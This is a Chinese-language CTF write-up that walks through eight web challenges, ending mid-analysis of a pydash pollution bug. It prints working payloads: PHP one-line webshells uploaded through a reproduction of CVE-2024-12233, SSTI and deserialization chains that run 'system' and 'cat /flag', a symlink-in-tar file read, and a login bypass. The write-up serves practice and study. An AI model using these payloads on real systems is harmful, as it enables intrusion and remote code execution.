1. \b@by n0t1ce b0ard 提示很明显了,是CVE-2024-12233,上网查找进行复现
例如Email: 111@test.com,同时上传shell.php,内容如下:
1 <?php @eval ($_POST ['cmd' ]); ?>
然后蚁剑连接http://[题目IP]/images/111@test.com /shell.php
2. 难过的bottle 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 from bottle import route, run, template, post, request, static_file, errorimport osimport zipfileimport hashlibimport timeimport shutilUPLOAD_DIR = 'uploads' os.makedirs(UPLOAD_DIR, exist_ok=True ) MAX_FILE_SIZE = 1 * 1024 * 1024 BLACKLIST = ["b" ,"c" ,"d" ,"e" ,"h" ,"i" ,"j" ,"k" ,"m" ,"n" ,"o" ,"p" ,"q" ,"r" ,"s" ,"t" ,"u" ,"v" ,"w" ,"x" ,"y" ,"z" ,"%" ,";" ,"," ,"<" ,">" ,":" ,"?" ] def contains_blacklist (content ): """检查内容是否包含黑名单中的关键词(不区分大小写)""" content = content.lower() return any (black_word in content for black_word in BLACKLIST) def safe_extract_zip (zip_path, extract_dir ): """安全解压ZIP文件(防止路径遍历攻击)""" with zipfile.ZipFile(zip_path, 'r' ) as zf: for member in zf.infolist(): member_path = os.path.realpath(os.path.join(extract_dir, member.filename)) if not member_path.startswith(os.path.realpath(extract_dir)): raise ValueError("非法文件路径: 路径遍历攻击检测" ) zf.extract(member, extract_dir) @route('/' ) def index (): """首页""" return ''' <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>ZIP文件查看器</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1> <p class="lead">安全地上传和查看ZIP文件内容</p> </div> </div> <div class="container"> <div class="row justify-content-center" id="index-page"> <div class="col-md-8 text-center"> <div class="card"> <div class="card-body p-5"> <div class="emoji-icon">📤</div> <h2 class="card-title">轻松查看ZIP文件内容</h2> <p class="card-text">上传ZIP文件并安全地查看其中的内容,无需解压到本地设备</p> <div class="mt-4"> <a href="/upload" class="btn btn-primary btn-lg px-4 me-3"> 📁 上传ZIP文件 </a> <a href="#features" class="btn btn-outline-secondary btn-lg px-4"> ℹ️ 了解更多 </a> </div> </div> </div> </div> </div> <div class="row mt-5" id="features"> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">🛡️</div> <h4>安全检测</h4> <p>系统会自动检测上传文件,防止路径遍历攻击和恶意内容</p> </div> </div> </div> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">📄</div> <h4>内容预览</h4> <p>直接在线查看ZIP文件中的文本内容,无需下载</p> </div> </div> </div> <div class="col-md-4 mb-4"> <div class="card h-100"> <div class="card-body text-center p-4"> <div class="emoji-icon">⚡</div> <h4>快速处理</h4> <p>高效处理小于1MB的ZIP文件,快速获取内容</p> </div> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html> ''' @route('/upload' ) def upload_page (): """上传页面""" return ''' <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>上传ZIP文件</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1> <p class="lead">安全地上传和查看ZIP文件内容</p> </div> </div> <div class="container mt-4"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header bg-primary text-white"> <h4 class="mb-0">📤 上传ZIP文件</h4> </div> <div class="card-body"> <form action="/upload" method="post" enctype="multipart/form-data" class="upload-form"> <div class="mb-3"> <label for="fileInput" class="form-label">选择ZIP文件(最大1MB)</label> <input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required> <div class="form-text">仅支持.zip格式的文件,且文件大小不超过1MB</div> </div> <button type="submit" class="btn btn-primary w-100"> 📤 上传文件 </button> </form> </div> </div> <div class="text-center mt-4"> <a href="/" class="btn btn-outline-secondary"> ↩️ 返回首页 </a> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html> ''' @post('/upload' ) def upload (): """处理文件上传""" zip_file = request.files.get('file' ) if not zip_file or not zip_file.filename.endswith('.zip' ): return '请上传有效的ZIP文件' zip_file.file.seek(0 , 2 ) file_size = zip_file.file.tell() zip_file.file.seek(0 ) if file_size > MAX_FILE_SIZE: return f'文件大小超过限制({MAX_FILE_SIZE/1024 /1024 } MB)' timestamp = str (time.time()) unique_str = zip_file.filename + timestamp dir_hash = hashlib.md5(unique_str.encode()).hexdigest() extract_dir = os.path.join(UPLOAD_DIR, dir_hash) os.makedirs(extract_dir, exist_ok=True ) zip_path = os.path.join(extract_dir, 'uploaded.zip' ) zip_file.save(zip_path) try : safe_extract_zip(zip_path, extract_dir) except (zipfile.BadZipFile, ValueError) as e: shutil.rmtree(extract_dir) return f'处理ZIP文件时出错: {str (e)} ' files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip' ] return template(''' <!DOCTYPE html> <html lang="zh-CN"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>上传成功</title> <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet"> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <div class="header text-center"> <div class="container"> <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1> <p class="lead">安全地上传和查看ZIP文件内容</p> </div> </div> <div class="container mt-4"> <div class="row justify-content-center"> <div class="col-md-8"> <div class="card"> <div class="card-header bg-success text-white"> <h4 class="mb-0">✅ 上传成功!</h4> </div> <div class="card-body"> <div class="alert alert-success" role="alert"> ✅ 文件已成功上传并解压 </div> <h5>文件列表:</h5> <ul class="list-group mb-4"> % for file in files: <li class="list-group-item d-flex justify-content-between align-items-center"> <span>📄 {{file}}</span> <a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary"> 查看 </a> </li> % end </ul> % if files: <div class="d-grid gap-2"> <a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary"> 👀 查看第一个文件 </a> </div> % end </div> </div> <div class="text-center mt-4"> <a href="/upload" class="btn btn-outline-primary me-2"> ➕ 上传另一个文件 </a> <a href="/" class="btn btn-outline-secondary"> 🏠 返回首页 </a> </div> </div> </div> </div> <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/js/bootstrap.bundle.min.js"></script> </body> </html> ''' , dir_hash=dir_hash, files=files)@route('/view/<dir_hash>/<filename:path>' ) def view_file (dir_hash, filename ): file_path = os.path.join(UPLOAD_DIR, dir_hash, filename) if not os.path.exists(file_path): return "文件不存在" if not os.path.isfile(file_path): return "请求的路径不是文件" real_path = os.path.realpath(file_path) if not real_path.startswith(os.path.realpath(UPLOAD_DIR)): return "非法访问尝试" try : with open (file_path, 'r' , encoding='utf-8' ) as f: content = f.read() except : try : with open (file_path, 'r' , encoding='latin-1' ) as f: content = f.read() except : return "无法读取文件内容(可能是二进制文件)" if contains_blacklist(content): return "文件内容包含不允许的关键词" try : return template(content) except Exception as e: return f"渲染错误: {str (e)} " @route('/static/<filename:path>' ) def serve_static (filename ): """静态文件服务""" return static_file(filename, root='static' ) @error(404 ) def error404 (error ): return "讨厌啦不是说好只看看不摸的吗" @error(500 ) def error500 (error ): return "不要透进来啊啊啊啊" if __name__ == '__main__' : os.makedirs('static' , exist_ok=True ) run(host='0.0.0.0' , port=5000 , debug=False )
在源码 view_file 函数中,直接将用户上传的文件内容传递给了 Bottle 框架的 template() 函数:
1 return template(content)
这是一个典型的SSTI漏洞
但源码中定义了严格的 BLACKLIST,过滤了绝大多数小写字母(包括 o, p, e, n, r, e, a, d 等)以及特殊符号(%, ;, <, > 等)。
利用 Python 3 的 Unicode 标准化特性 (NFKC) 。Python 3 解释器在解析代码时,会将全角字符 和其他兼容字符标准化为对应的 ASCII 字符。
例如,Python 解释器执行时,open 会被解析为 open 函数。
最终 Payload:
1 {{ open('/flag' ).read() }}
在中文输入法状态下,按 Shift + Space 切换到“全角模式”,然后输入 open 和 read。
新建一个文本文件payload.txt,使用文本编辑器写入以下内容(注意全角和半角的混合):
1 {{ open('/flag' ).read() }}
将 payload.txt 压缩为 payload.zip后上传
3. Bypass 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 <?php class FLAG { private $a ; protected $b ; public function __construct ($a , $b ) { $this ->a = $a ; $this ->b = $b ; $this ->check ($a ,$b ); eval ($a .$b ); } public function __destruct ( ) { $a = (string )$this ->a; $b = (string )$this ->b; if ($this ->check ($a ,$b )){ $a ("" , $b ); } else { echo "Try again!" ; } } private function check ($a , $b ) { $blocked_a = ['eval' , 'dl' , 'ls' , 'p' , 'escape' , 'er' , 'str' , 'cat' , 'flag' , 'file' , 'ay' , 'or' , 'ftp' , 'dict' , '\.\.' , 'h' , 'w' , 'exec' , 's' , 'open' ]; $blocked_b = ['find' , 'filter' , 'c' , 'pa' , 'proc' , 'dir' , 'regexp' , 'n' , 'alter' , 'load' , 'grep' , 'o' , 'file' , 't' , 'w' , 'insert' , 'sort' , 'h' , 'sy' , '\.\.' , 'array' , 'sh' , 'touch' , 'e' , 'php' , 'f' ]; $pattern_a = '/' . implode ('|' , array_map ('preg_quote' , $blocked_a , ['/' ])) . '/i' ; $pattern_b = '/' . implode ('|' , array_map ('preg_quote' , $blocked_b , ['/' ])) . '/i' ; if (preg_match ($pattern_a , $a ) || preg_match ($pattern_b , $b )) { return false ; } return true ; } } if (isset ($_GET ['exp' ])) { $p = unserialize ($_GET ['exp' ]); var_dump ($p ); }else { highlight_file ("index.php" ); }
eval($a.$b);放在__construct 里摸不到,这题可以通过调用create_function函数实现远程命令执行
由于create_function函数的特殊性,它不是直接运行你的代码,而是把代码包在一个函数定义里 再去运行,例如
1 function abcd ( ) { [代码] }
所以payloaad需要进行以} [代码] //的形式构造,闭合前面函数
黑名单 a:过滤了
‘eval’, ‘dl’, ‘ls’, ‘p’, ‘escape’, ‘er’, ‘str’, ‘cat’, ‘flag’, ‘file’, ‘ay’, ‘or’, ‘ftp’, ‘dict’, ‘..‘, ‘h’, ‘w’, ‘exec’, ‘s’, ‘open’
黑名单 b:过滤了
‘find’, ‘filter’, ‘c’, ‘pa’, ‘proc’, ‘dir’, ‘regexp’, ‘n’, ‘alter’, ‘load’, ‘grep’, ‘o’, ‘file’, ‘t’, ‘w’, ‘insert’, ‘sort’, ‘h’, ‘sy’, ‘..‘, ‘array’, ‘sh’, ‘touch’, ‘e’, ‘php’, ‘f’
可以联动无字母rce的知识,用取反绕过黑名单
但由于本题在绕过两个黑名单时是在php代码内部,而不是在url栏,所以不能采用url编码,可以采用十六进制转换
在kali终端采用命令:
1 2 3 4 php -r "echo bin2hex(~'system');" //8c868c8b9a92 php -r "echo bin2hex(~'cat /flag');" //9c9e8bdfd099939e98
换成\xx形式,接着填入exp.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 <?php class FLAG { private $a ; protected $b ; public function __construct ( ) { $this ->a = "create_function" ; $this ->b = "} (~\"\x8c\x86\x8c\x8b\x9a\x92\")((~\"\x9c\x9e\x8b\xdf\xd0\x99\x93\x9e\x98\")); //" ; } } $exp = new FLAG ();echo urlencode (serialize ($exp ));
4. ezrce 1 2 3 4 5 6 7 8 9 10 11 <?php highlight_file (__FILE__ );if (isset ($_GET ['code' ])){ $code = $_GET ['code' ]; if (preg_match ('/^[A-Za-z\(\)_;]+$/' , $code )) { eval ($code ); }else { die ('师傅,你想拿flag?' ); } }
正则 /^[A-Za-z\(\)_;]+$/ 过滤了参数输入,只能使用大小写字母、小括号 ()、分号 ; 和下划线 _
先测试payload:
1 ?code=var_dump(scandir(getcwd()));
回显:
array(3) { [0]=> string(1) “.” [1]=> string(2) “..” [2]=> string(9) “index.php” }
说明flag不在当前目录,尝试打印根目录的文件:
1 var_dump(scandir(dirname(dirname(dirname(getcwd())))));
回显:
array(21) { [0]=> string(1) “.” [1]=> string(2) “..” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(3) “dev” [5]=> string(3) “etc” [6]=> string(4) “flag” [7]=> string(4) “home” [8]=> string(3) “lib” [9]=> string(5) “media” [10]=> string(3) “mnt” [11]=> string(3) “opt” [12]=> string(4) “proc” [13]=> string(4) “root” [14]=> string(3) “run” [15]=> string(4) “sbin” [16]=> string(3) “srv” [17]=> string(3) “sys” [18]=> string(3) “tmp” [19]=> string(3) “usr” [20]=> string(3) “var” }
发现flag文件,读取文件内容(没出来就多刷新几次):
1 chdir(dirname(dirname(dirname(getcwd()))));show_source(array_rand(array_flip(scandir(getcwd()))));
5. flag到底在哪 链接进去后什么都没有,扫目录扫出/robots.txt和/admin/login.php
访问/admin/login.php出现登录框
根据提示 username输入admin,密码则尝试万能密码,再根据题目提示要使用大写,使用万能密码:
进去后的页面直接说明上传 PHP Webshell ,那就上传一句话木马,用蚁剑连接后使用插件查看phpinfo找到flag
6. 来签个到吧 看附件,先看index.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 <?php require_once "./config.php" ;require_once "./classes.php" ;if ($_SERVER ["REQUEST_METHOD" ] === "POST" ) { $s = $_POST ["shark" ] ?? '喵喵喵?' ; if (str_starts_with ($s , "blueshark:" )) { $ss = substr ($s , strlen ("blueshark:" )); $o = @unserialize ($ss ); $p = $db ->prepare ("INSERT INTO notes (content) VALUES (?)" ); $p ->execute ([$ss ]); echo "save sucess!" ; exit (0 ); } else { echo "喵喵喵?" ; exit (1 ); } } $q = $db ->query ("SELECT id, content FROM notes ORDER BY id DESC LIMIT 10" );$rows = $q ->fetchAll (PDO::FETCH_ASSOC );?>
可以知道:
POST传入shark参数
会检验前缀是否是blueshark:
@unserialize($ss)会触发反序列化,同时@抑制报错
使用了 PDO 预处理 ,杜绝了 SQL 注入漏洞
再看classes.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 <?php class FileLogger { public $logfile = "/tmp/notehub.log" ; public $content = "" ; public function __construct ($f =null ) { if ($f ) { $this ->logfile = $f ; } } public function write ($msg ) { $this ->content .= $msg . "\n" ; file_put_contents ($this ->logfile, $this ->content, FILE_APPEND); } public function __destruct ( ) { if ($this ->content) { file_put_contents ($this ->logfile, $this ->content, FILE_APPEND); } } } class ShitMountant { public $url ; public $logger ; public function __construct ($url ) { $this ->url = $url ; $this ->logger = new FileLogger (); } public function fetch ( ) { $c = file_get_contents ($this ->url); if ($this ->logger) { $this ->logger->write ("fetched ==> " . $this ->url); } return $c ; } public function __destruct ( ) { $this ->fetch (); } } ?>
抓住关键函数file_put_contents ,这里就是传入shell并读取flag的关键
再看config.php:
1 2 3 4 5 6 7 8 9 <?php define ('DB_FILE' , '/tmp/notehub.db' );if (!file_exists (DB_FILE)) { $db = new PDO ('sqlite:' . DB_FILE); $db ->exec ("CREATE TABLE notes (id INTEGER PRIMARY KEY AUTOINCREMENT, content TEXT)" ); } else { $db = new PDO ('sqlite:' . DB_FILE); }
只是说明连接到或者自动初始化一个 SQLite 数据库,没有什么太大作用
最后看api.php:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 <?php require_once "./config.php" ;require_once "./classes.php" ;$id = $_GET ["id" ] ?? '喵喵喵?' ;$s = $db ->prepare ("SELECT content FROM notes WHERE id = ?" );$s ->execute ([$id ]);$row = $s ->fetch (PDO::FETCH_ASSOC );if (! $row ) { die ("喵喵喵?" ); } $cfg = unserialize ($row ["content" ]);if ($cfg instanceof ShitMountant) { $r = $cfg ->fetch (); echo "ok!" . "<br>" ; echo nl2br (htmlspecialchars ($r )); } else { echo "喵喵喵?" ; } ?>
可以知道:
传入GET参数id
使用了 PDO 预处理 ,杜绝了 SQL 注入漏洞
存在 echo nl2br(htmlspecialchars($r));可以打印出回显内容,但采用写入shell不需要用到
攻击顺序差不多捋清了:
首先利用classes.php中的类编写脚本
1 2 3 4 5 6 7 8 9 <?php class FileLogger { public $logfile = "shell.php" ; public $content = "<?php @eval(\$_POST['cmd']);?>" ; } $a = new FileLogger ();echo serialize ($a );?>
(注意: 因为用了双引号 "",PHP 会认为 $_POST 是当前脚本的一个变量,会尝试立刻解析它 ,因为当前脚本里并没有传参,$_POST['cmd'] 是空的,最终生成的字符串变成了:<?php @eval();?> ,所以需要反斜杠\进行转义 !)
生成payload:
1 O:10:"FileLogger":2:{s:7:"logfile";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}
根据index.php的源码,修改payload并在http://目标IP:端口/index.php页面传入POST数据:
1 shark=blueshark:O:10:"FileLogger":2:{s:7:"logfile";s:9:"shell.php";s:7:"content";s:29:"<?php @eval($_POST['cmd']);?>";}
连接shell,访问http://目标IP:端口/shell.php,若页面空白则表示成功,在post中传入:cmd=system(‘cat /flag’);拿到flag
7. flag?我就借走了 “支持上传打包格式,上传后会自动帮你解压到目录” 且后端是 Python + Flask
尝试软链接读取flag
首先在本地创建一个指向 /flag 的快捷方式,再用 tar 命令把它打包,服务器解压后,会在上传目录下生成一个指向服务器根目录下 /flag 的快捷方式。
比如在kali终端执行:
1 2 ln -s /flag flag.txttar -cf flag.tar flag.txt
上传后点击flag.txt的快捷方式即可
8. Who am I 随便注册个账号,在登录时抓包发现在POST多了一个type=1
改成type=0后是一个302页面,可以跳转去/272e1739b89da32e983970ece1a086bd
访问发现可以查看配置文件
sontriex.a47b9c5f.js:
1 2 3 4 5 fetch ("/user/demo" ,{method :"POST" }) .then (r => r.json ()) .then (data => { document .getElementById ("username" ).innerText = data.username ; });
malniest.e19a0e13.js:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 (function ( ) { "use strict" ; function noop ( ) {} function identity (x ) { return x; } function times (n, fn ) { for (let i = 0 ; i < n; i++) fn (i); } function clamp (v, a, b ) { return Math .min (b, Math .max (a, v)); } function hashStr (s ) { let h = 0 ; for (let i = 0 ; i < s.length ; i++) h = (h << 5 ) - h + s.charCodeAt (i) | 0 ; return h >>> 0 ; } function randInt (a, b ) { return a + Math .floor (Math .random () * (b - a + 1 )); } function pad2 (n ) { return n < 10 ? "0" + n : "" + n; } function dateStamp ( ) { const d = new Date (); return d.getFullYear ()+"-" +pad2 (d.getMonth ()+1 )+"-" +pad2 (d.getDate ()); } function debounce (fn, wait ) { let t; return function ( ) { clearTimeout (t); t = setTimeout (() => fn.apply (this , arguments ), wait); }; } function throttle (fn, wait ) { let last = 0 ; return function ( ) { const now = Date .now (); if (now - last >= wait) { last = now; fn.apply (this , arguments ); } }; } function memo (fn ) { const m = new Map (); return function (k ) { if (m.has (k)) return m.get (k); const v = fn (k); m.set (k, v); return v; }; } const expensive = memo (n => { let r = 1 ; for (let i = 1 ; i < 1000 ; i++) r = (r * (n + i)) % 2147483647 ; return r; }); function camel (s ){return s.replace (/[-_](\w)/g ,(_,c )=> c.toUpperCase ());} function chunk (arr, size ){const out=[];for (let i=0 ;ia.concat (b),[]);} function repeatStr (s,n ){let r="" ;times (n,()=> r+=s);return r;} const loremPool = "lorem ipsum dolor sit amet consectetur adipiscing elit" .split (" " ); function lorem (n ){let r=[];times (n,()=> r.push (loremPool[randInt (0 ,loremPool.length -1 )]));return r.join (" " );} const Net = { get : function (url ){ return Promise .resolve ({url, ok : true , ts : Date .now ()}); }, post : function (url, body ){ return Promise .resolve ({url, ok : true , len : JSON .stringify (body||{}).length }); } }; const Bus = (function ( ){ const map = new Map (); return { on : (e,fn )=> { if (!map.has ()) map.set (e, []); map.get (e).push (fn); }, emit : (e,p )=> { const arr = map.get (e)||[]; arr.forEach (fn => { try {fn (p);}catch (_){} }); }, off : (e,fn )=> { const arr = map.get (e)||[]; map.set (e, arr.filter (f => f!==fn)); } }; })(); const DOM = { qs : (sel, root=document )=> root.querySelector (sel), qsa : (sel, root=document )=> Array .from (root.querySelectorAll (sel)), el : (tag, props )=> Object .assign (document .createElement (tag), props||{}), hide : (node )=> { if (node && node.style ) node.style .display = "none" ; }, show : (node )=> { if (node && node.style ) node.style .display = "" ; }, on : (node, ev, fn, opt )=> node && node.addEventListener (ev, fn, opt) }; function fakeLayoutScore (node ){ if (!node) return 0 ; const r = node.getBoundingClientRect ? node.getBoundingClientRect () : {width :1 ,height :1 }; return clamp (Math .floor ((r.width * r.height ) % 9973 ), 0 , 9973 ); } const CFG = { version : "v" +dateStamp ()+"." +randInt (100 ,999 ), flags : { featureX : false , featureY : true , verbose : false } }; const Cache = new Map (); (function lightScheduler ( ){ const tasks = [ ()=> Cache .set ("k" +randInt (1 ,9 ), hashStr (lorem (5 ))), ()=> expensive (randInt (1 ,100 )), ()=> Bus .emit ("tick" , Date .now ()) ]; let i=0 ; setTimeout (function run ( ){ try { tasks[i%tasks.length ](); } catch (_){} i++; if (i<5 ) setTimeout (run, randInt (60 ,140 )); }, randInt (50 ,120 )); })(); function ensureTypeHidden ( ) { const form = DOM .qs ("form[action='/login'][method='POST']" ); if (!form) return ; let hidden = form.querySelector ("input[name='type']" ); if (!hidden) { hidden = DOM .el ("input" , { type : "hidden" , name : "type" , value : "1" }); form.appendChild (hidden); } DOM .on (form, "submit" , function ( ) { let h = form.querySelector ("input[name='type']" ); if (!h) { h = DOM .el ("input" , { type : "hidden" , name : "type" , value : "1" }); form.appendChild (h); } else if (h.value !== "1" ) { h.value = "1" ; } }); } function mountInvisible ( ){ try { const ghost = DOM .el ("div" ); ghost.setAttribute ("data-h" , hashStr (CFG .version )); ghost.style .cssText = "display:none;width:0;height:0;overflow:hidden;" ; ghost.textContent = repeatStr ("*" , randInt (1 ,3 )); document .body .appendChild (ghost); }catch (_){} } function prewarm ( ){ try { Net .get ("/ping?_=" +Date .now ()).then (noop).catch (noop); times (3 , i => Cache .set ("warm" +i, expensive (i+1 ))); }catch (_){} } function keySpy ( ){ const handler = throttle (function ( ){ }, 200 ); DOM .on (document , "keydown" , handler); } function init ( ){ prewarm (); keySpy (); ensureTypeHidden (); mountInvisible (); Bus .on ("tick" , noop); } if (document .readyState === "loading" ) { document .addEventListener ("DOMContentLoaded" , init, { once : true }); } else { init (); } })();
mian.py:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 from flask import Flask,request,render_template,redirect,url_forimport jsonimport pydashapp=Flask(__name__) database={} data_index=0 name='' @app.route('/' ,methods=['GET' ] ) def index (): return render_template('login.html' ) @app.route('/register' ,methods=['GET' ] ) def register (): return render_template('register.html' ) @app.route('/registerV2' ,methods=['POST' ] ) def registerV2 (): username=request.form['username' ] password=request.form['password' ] password2=request.form['password2' ] if password!=password2: return ''' <script> alert('前后密码不一致,请确认后重新输入。'); window.location.href='/register'; </script> ''' else : global data_index data_index+=1 database[data_index]=username database[username]=password return redirect(url_for('index' )) @app.route('/user_dashboard' ,methods=['GET' ] ) def user_dashboard (): return render_template('dashboard.html' ) @app.route('/272e1739b89da32e983970ece1a086bd' ,methods=['GET' ] ) def A272e1739b89da32e983970ece1a086bd (): return render_template('admin.html' ) @app.route('/operate' ,methods=['GET' ] ) def operate (): username=request.args.get('username' ) password=request.args.get('password' ) confirm_password=request.args.get('confirm_password' ) if username in globals () and "old" not in password: Username=globals ()[username] try : pydash.set_(Username,password,confirm_password) return "oprate success" except : return "oprate failed" else : return "oprate failed" @app.route('/user/name' ,methods=['POST' ] ) def name (): return {'username' :user} def logout (): return redirect(url_for('index' )) @app.route('/reset' ,methods=['POST' ] ) def reset (): old_password=request.form['old_password' ] new_password=request.form['new_password' ] if user in database and database[user] == old_password: database[user]=new_password return ''' <script> alert('密码修改成功,请重新登录。'); window.location.href='/'; </script> ''' else : return ''' <script> alert('密码修改失败,请确认旧密码是否正确。'); window.location.href='/user_dashboard'; </script> ''' @app.route('/impression' ,methods=['GET' ] ) def impression (): point=request.args.get('point' ) if len (point) > 5 : return "Invalid request" List =["{" ,"}" ,"." ,"%" ,"<" ,">" ,"_" ] for i in point: if i in List : return "Invalid request" return render_template(point) @app.route('/login' ,methods=['POST' ] ) def login (): username=request.form['username' ] password=request.form['password' ] type =request.form['type' ] if username in database and database[username] != password: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' elif username not in database: return ''' <script> alert('用户名或密码错误请重新输入。'); window.location.href='/'; </script> ''' else : global name name=username if int (type )==1 : return redirect(url_for('user_dashboard' )) elif int (type )==0 : return redirect(url_for('A272e1739b89da32e983970ece1a086bd' )) if __name__=='__main__' : app.run(host='0.0.0.0' ,port=8080 ,debug=False )
两个js文件和一个py文件,谁更重要好难猜啊,着重分析一下main.py
首先是最明显的一个之前没出现过的路由/operate
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @app.route('/operate' ,methods=['GET' ] ) def operate (): username=request.args.get('username' ) password=request.args.get('password' ) confirm_password=request.args.get('confirm_password' ) if username in globals () and "old" not in password: Username=globals ()[username] try : pydash.set_(Username,password,confirm_password) return "oprate success" except : return "oprate failed" else : return "oprate failed"
这一部分存在三个可控GET参数username、password、confirm_password
同时出现了最关键的语句pydash.set_(Username,password,confirm_password) ,这里明确了如何利用这三个参数进行污染
pydash.set_ 函数的语法是: pydash.set_(对象, 属性路径, 新值)
接着是另一个也没有出现过的路由/impression
1 2 3 4 5 6 7 8 9 10 @app.route('/impression' ,methods=['GET' ] ) def impression (): point=request.args.get('point' ) if len (point) > 5 : return "Invalid request" List =["{" ,"}" ,"." ,"%" ,"<" ,">" ,"_" ] for i in point: if i in List : return "Invalid request" return render_template(point)
给了新GET参数point,并且限制了只能五个字符,那flag文件大概就叫flag了
给出了黑名单,其中过滤了{, }, %, _封杀 SSTI,过滤了. (点)封杀路径穿越和特定文件读取,过滤了<, >封杀 XSS,只能用配置污染
最后返回了render_template(point) ,这就是能渲染出flag文件内容的关键
首先根据树状图确定:
